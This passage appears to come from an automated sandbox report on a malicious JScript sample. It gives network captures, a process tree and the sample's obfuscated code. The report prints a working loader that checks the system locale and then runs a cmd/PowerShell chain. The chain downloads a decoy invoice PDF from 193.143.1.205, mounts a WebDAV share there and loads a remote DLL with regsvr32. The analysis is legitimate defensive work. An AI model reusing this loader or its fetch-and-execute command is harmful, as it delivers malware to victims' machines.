Jan 11, 2025 04:00:57.131577015 CET	192.168.2.7	1.1.1.1	0xc992	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:01:21.225502014 CET	192.168.2.7	1.1.1.1	0xdc38	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:00:54.122627020 CET	1.1.1.1	192.168.2.7	0x699a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:00:54.122627020 CET	1.1.1.1	192.168.2.7	0x699a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:00:57.138741016 CET	1.1.1.1	192.168.2.7	0xc992	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:01:21.232455015 CET	1.1.1.1	192.168.2.7	0xdc38	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	2432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:00:41.095797062 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:00:41.899092913 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:00:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:00:41.899120092 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:00:41.899138927 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:00:41.899187088 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:00:41.899202108 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:00:41.899211884 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:00:41.899226904 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 04:00:41.899245977 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 04:00:41.899262905 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 04:00:41.899272919 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 04:00:41.904187918 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7452	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:00:44.203598976 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:00:45.036705017 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:00:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	22:00:36
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js"
Imagebase:	0x7ff630980000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:00:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll
Imagebase:	0x7ff685c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:00:37
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:00:37
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:00:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	22:00:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff685c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:00:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d2d10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:00:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:00:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	22:00:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1740,i,660562272891007411,15319704297293168881,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function comqghr() {	comqghr() ➔ undefined
1	dfxlzblrq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nixmthds = this[afrsmnht + qftoqg + kvnshfq + eoyve + tsynne + hcdty + boezr + pqnvlh] ( this[xulsfb + fgkfh + yropt + kvnshfq + dxpig + afrsmnht + pqnvlh][lfnml + kvnshfq + tsynne + qftoqg + pqnvlh + tsynne + iylwcllik + dpaqt + aqduncci + tsynne + yropt + pqnvlh] ( xulsfb + fgkfh + yropt + kvnshfq + dxpig + afrsmnht + pqnvlh + gukpomyxs + fgkfh + iisvzal + tsynne + lthkwp + lthkwp ) [gloov + tsynne + lxofx + gloov + tsynne + qftoqg + yjhihw] ( uourtutgk + yplerssxn + fhkpbygd + wpuhw + okenvtmlu + lfnml + faezgpozc + gloov + gloov + fhkpbygd + vaewy + anzbemd + okenvtmlu + faezgpozc + fgkfh + fhkpbygd + gloov + hqnktt + lfnml + afqfhv + boezr + pqnvlh + kvnshfq + afqfhv + lthkwp + fatfq + cbytn + qftoqg + boezr + tsynne + lthkwp + hqnktt + hcdty + boezr + pqnvlh + tsynne + kvnshfq + boezr + qftoqg + pqnvlh + dxpig + afqfhv + boezr + qftoqg + lthkwp + hqnktt + xhhkmq + afqfhv + yropt + qftoqg + lthkwp + tsynne ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fgqqdxcaw = 0 ; fgqqdxcaw < dfxlzblrq[lthkwp + tsynne + boezr + lxofx + pqnvlh + iisvzal] ; ++ fgqqdxcaw )
4	{
5	if ( nixmthds == dfxlzblrq[fgqqdxcaw] )
6	{
7	nixmthds = true;
8	break ;
9	}
10	}
11	if ( nixmthds !== true )
12	this[xulsfb + fgkfh + yropt + kvnshfq + dxpig + afrsmnht + pqnvlh][kqcnrxin + cndufqgp + dxpig + pqnvlh] ( );
13	this[xulsfb + fgkfh + yropt + kvnshfq + dxpig + afrsmnht + pqnvlh][lfnml + kvnshfq + tsynne + qftoqg + pqnvlh + tsynne + iylwcllik + dpaqt + aqduncci + tsynne + yropt + pqnvlh] ( xulsfb + fgkfh + yropt + kvnshfq + dxpig + afrsmnht + pqnvlh + gukpomyxs + fgkfh + iisvzal + tsynne + lthkwp + lthkwp ) [kvnshfq + cndufqgp + boezr] ( yropt + gvpver + yjhihw + fatfq + qkszibjsy + yropt + fatfq + afrsmnht + afqfhv + udmxt + tsynne + kvnshfq + eoyve + iisvzal + tsynne + lthkwp + lthkwp + gukpomyxs + tsynne + mjnsu + tsynne + fatfq + pvigxy + lfnml + afqfhv + gvpver + gvpver + qftoqg + boezr + yjhihw + fatfq + walybfj + hcdty + boezr + ikfsxmt + afqfhv + vcxma + tsynne + pvigxy + xulsfb + tsynne + dpaqt + gloov + tsynne + dhwzbl + cndufqgp + tsynne + eoyve + pqnvlh + fatfq + pvigxy + iylwcllik + cndufqgp + pqnvlh + ciwkagp + dxpig + lthkwp + tsynne + fatfq + wrsyv + pqnvlh + tsynne + gvpver + afrsmnht + wrsyv + hqnktt + dxpig + boezr + ikfsxmt + afqfhv + dxpig + yropt + tsynne + gukpomyxs + afrsmnht + yjhihw + bfirpgrr + fatfq + iisvzal + pqnvlh + pqnvlh + afrsmnht + bsixwb + qkszibjsy + qkszibjsy + vthhibkpl + tnnpswi + nwoanlc + gukpomyxs + vthhibkpl + oibioee + nwoanlc + gukpomyxs + vthhibkpl + gukpomyxs + axhmq + ytdcys + xvort + qkszibjsy + dxpig + boezr + ikfsxmt + afqfhv + dxpig + yropt + tsynne + gukpomyxs + afrsmnht + iisvzal + afrsmnht + walybfj + fbybz + fbybz + eoyve + pqnvlh + qftoqg + kvnshfq + pqnvlh + fatfq + wrsyv + pqnvlh + tsynne + gvpver + afrsmnht + wrsyv + hqnktt + dxpig + boezr + ikfsxmt + afqfhv + dxpig + yropt + tsynne + gukpomyxs + afrsmnht + yjhihw + bfirpgrr + fbybz + fbybz + yropt + gvpver + yjhihw + fatfq + qkszibjsy + yropt + fatfq + boezr + tsynne + pqnvlh + fatfq + cndufqgp + eoyve + tsynne + fatfq + hqnktt + hqnktt + vthhibkpl + tnnpswi + nwoanlc + gukpomyxs + vthhibkpl + oibioee + nwoanlc + gukpomyxs + vthhibkpl + gukpomyxs + axhmq + ytdcys + xvort + iwtmrj + igxuwbook + igxuwbook + igxuwbook + igxuwbook + hqnktt + yjhihw + qftoqg + ikfsxmt + udmxt + udmxt + udmxt + kvnshfq + afqfhv + afqfhv + pqnvlh + hqnktt + fbybz + fbybz + yropt + gvpver + yjhihw + fatfq + qkszibjsy + yropt + fatfq + kvnshfq + tsynne + lxofx + eoyve + ikfsxmt + kvnshfq + nwoanlc + axhmq + fatfq + qkszibjsy + eoyve + fatfq + hqnktt + hqnktt + vthhibkpl + tnnpswi + nwoanlc + gukpomyxs + vthhibkpl + oibioee + nwoanlc + gukpomyxs + vthhibkpl + gukpomyxs + axhmq + ytdcys + xvort + iwtmrj + igxuwbook + igxuwbook + igxuwbook + igxuwbook + hqnktt + yjhihw + qftoqg + ikfsxmt + udmxt + udmxt + udmxt + kvnshfq + afqfhv + afqfhv + pqnvlh + hqnktt + vthhibkpl + xvort + aqndm + tnnpswi + aqndm + xvort + oibioee + tnnpswi + vthhibkpl + vthhibkpl + xvort + ytdcys + vthhibkpl + gukpomyxs + yjhihw + lthkwp + lthkwp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll",0,false) ➔ 0
14	}
15	eoyve = "d";
16	eoyve = "w";
17	eoyve = "P";
18	eoyve = "L";
19	eoyve = "F";
20	eoyve = "x";
21	eoyve = "o";
22	eoyve = "P";
23	eoyve = "B";
24	eoyve = "e";
25	eoyve = "b";
26	eoyve = "U";
27	eoyve = "v";
28	eoyve = "N";
29	eoyve = "q";
30	eoyve = "D";
31	eoyve = "g";
32	eoyve = "T";
33	eoyve = "l";
34	eoyve = "C";
35	eoyve = "Q";
36	eoyve = "m";
37	eoyve = "j";
38	eoyve = "S";
39	eoyve = "e";
40	eoyve = "X";
41	eoyve = "s";
42	iwtmrj = "Z";
43	iwtmrj = "H";
44	iwtmrj = "e";
45	iwtmrj = "U";
46	iwtmrj = "j";
47	iwtmrj = "B";
48	iwtmrj = "n";
49	iwtmrj = "j";
50	iwtmrj = "E";
51	iwtmrj = "i";
52	iwtmrj = "b";
53	iwtmrj = "Z";
54	iwtmrj = "A";
55	iwtmrj = "f";
56	iwtmrj = "N";
57	iwtmrj = "w";
58	iwtmrj = "b";
59	iwtmrj = "d";
60	iwtmrj = "j";
61	iwtmrj = "N";
62	iwtmrj = "e";
63	iwtmrj = "B";
64	iwtmrj = "e";
65	iwtmrj = "e";
66	iwtmrj = "M";
67	iwtmrj = "I";
68	iwtmrj = "n";
69	iwtmrj = "j";
70	iwtmrj = "j";
71	iwtmrj = "r";
72	iwtmrj = "y";
73	iwtmrj = "y";
74	iwtmrj = "V";
75	iwtmrj = "m";
76	iwtmrj = "n";
77	iwtmrj = "@";
78	lfnml = "p";
79	lfnml = "R";
80	lfnml = "x";
81	lfnml = "O";
82	lfnml = "s";
83	lfnml = "V";
84	lfnml = "S";
85	lfnml = "y";
86	lfnml = "z";
87	lfnml = "G";
88	lfnml = "o";
89	lfnml = "h";
90	lfnml = "a";
91	lfnml = "E";
92	lfnml = "q";
93	lfnml = "A";
94	lfnml = "I";
95	lfnml = "K";
96	lfnml = "V";
97	lfnml = "q";
98	lfnml = "Y";
99	lfnml = "f";
100	lfnml = "c";
101	lfnml = "K";
102	lfnml = "i";
103	lfnml = "d";
104	lfnml = "m";
105	lfnml = "N";
106	lfnml = "R";
107	lfnml = "L";
108	lfnml = "B";
109	lfnml = "h";
110	lfnml = "G";
111	lfnml = "S";
112	lfnml = "k";
113	lfnml = "Z";
114	lfnml = "r";
115	lfnml = "e";
116	lfnml = "P";
117	lfnml = "s";
118	lfnml = "c";
119	lfnml = "Z";
120	lfnml = "t";
121	lfnml = "C";
122	hqnktt = "Z";
123	hqnktt = "R";
124	hqnktt = "d";
125	hqnktt = "h";
126	hqnktt = "W";
127	hqnktt = "c";
128	hqnktt = "f";
129	hqnktt = "B";
130	hqnktt = "Q";
131	hqnktt = "J";
132	hqnktt = "o";
133	hqnktt = "B";
134	hqnktt = "S";
135	hqnktt = "f";
136	hqnktt = "J";
137	hqnktt = "F";
138	hqnktt = "b";
139	hqnktt = "A";
140	hqnktt = "J";
141	hqnktt = "N";
142	hqnktt = "N";
143	hqnktt = "N";
144	hqnktt = "T";
145	hqnktt = "v";
146	hqnktt = "q";
147	hqnktt = "\\";
148	udmxt = "N";
149	udmxt = "Z";
150	udmxt = "M";
151	udmxt = "O";
152	udmxt = "w";
153	udmxt = "k";
154	udmxt = "f";
155	udmxt = "Q";
156	udmxt = "O";
157	udmxt = "m";
158	udmxt = "N";
159	udmxt = "e";
160	udmxt = "i";
161	udmxt = "W";
162	udmxt = "Q";
163	udmxt = "N";
164	udmxt = "R";
165	udmxt = "U";
166	udmxt = "N";
167	udmxt = "N";
168	udmxt = "j";
169	udmxt = "i";
170	udmxt = "c";
171	udmxt = "x";
172	udmxt = "j";
173	udmxt = "s";
174	udmxt = "y";
175	udmxt = "G";
176	udmxt = "H";
177	udmxt = "A";
178	udmxt = "w";
179	dxpig = "x";
180	dxpig = "Z";
181	dxpig = "v";
182	dxpig = "b";
183	dxpig = "d";
184	dxpig = "L";
185	dxpig = "C";
186	dxpig = "U";
187	dxpig = "R";
188	dxpig = "i";
189	uourtutgk = "i";
190	uourtutgk = "l";
191	uourtutgk = "A";
192	uourtutgk = "V";
193	uourtutgk = "a";
194	uourtutgk = "B";
195	uourtutgk = "S";
196	uourtutgk = "J";
197	uourtutgk = "H";
198	dhwzbl = "m";
199	dhwzbl = "F";
200	dhwzbl = "O";
201	dhwzbl = "a";
202	dhwzbl = "n";
203	dhwzbl = "e";
204	dhwzbl = "j";
205	dhwzbl = "V";
206	dhwzbl = "x";
207	dhwzbl = "Z";
208	dhwzbl = "E";
209	dhwzbl = "P";
210	dhwzbl = "I";
211	dhwzbl = "H";
212	dhwzbl = "t";
213	dhwzbl = "U";
214	dhwzbl = "U";
215	dhwzbl = "u";
216	dhwzbl = "G";
217	dhwzbl = "L";
218	dhwzbl = "D";
219	dhwzbl = "D";
220	dhwzbl = "G";
221	dhwzbl = "a";
222	dhwzbl = "q";
223	qftoqg = "q";
224	qftoqg = "S";
225	qftoqg = "K";
226	qftoqg = "i";
227	qftoqg = "D";
228	qftoqg = "l";
229	qftoqg = "u";
230	qftoqg = "K";
231	qftoqg = "w";
232	qftoqg = "l";
233	qftoqg = "V";
234	qftoqg = "d";
235	qftoqg = "o";
236	qftoqg = "q";
237	qftoqg = "a";
238	ciwkagp = "x";
239	ciwkagp = "T";
240	ciwkagp = "R";
241	ciwkagp = "a";
242	ciwkagp = "E";
243	ciwkagp = "h";
244	ciwkagp = "V";
245	ciwkagp = "p";
246	ciwkagp = "r";
247	ciwkagp = "g";
248	ciwkagp = "C";
249	ciwkagp = "p";
250	ciwkagp = "j";
251	ciwkagp = "I";
252	ciwkagp = "h";
253	ciwkagp = "N";
254	ciwkagp = "O";
255	ciwkagp = "w";
256	ciwkagp = "P";
257	ciwkagp = "m";
258	ciwkagp = "R";
259	ciwkagp = "a";
260	ciwkagp = "M";
261	ciwkagp = "V";
262	ciwkagp = "F";
263	lthkwp = "f";
264	lthkwp = "G";
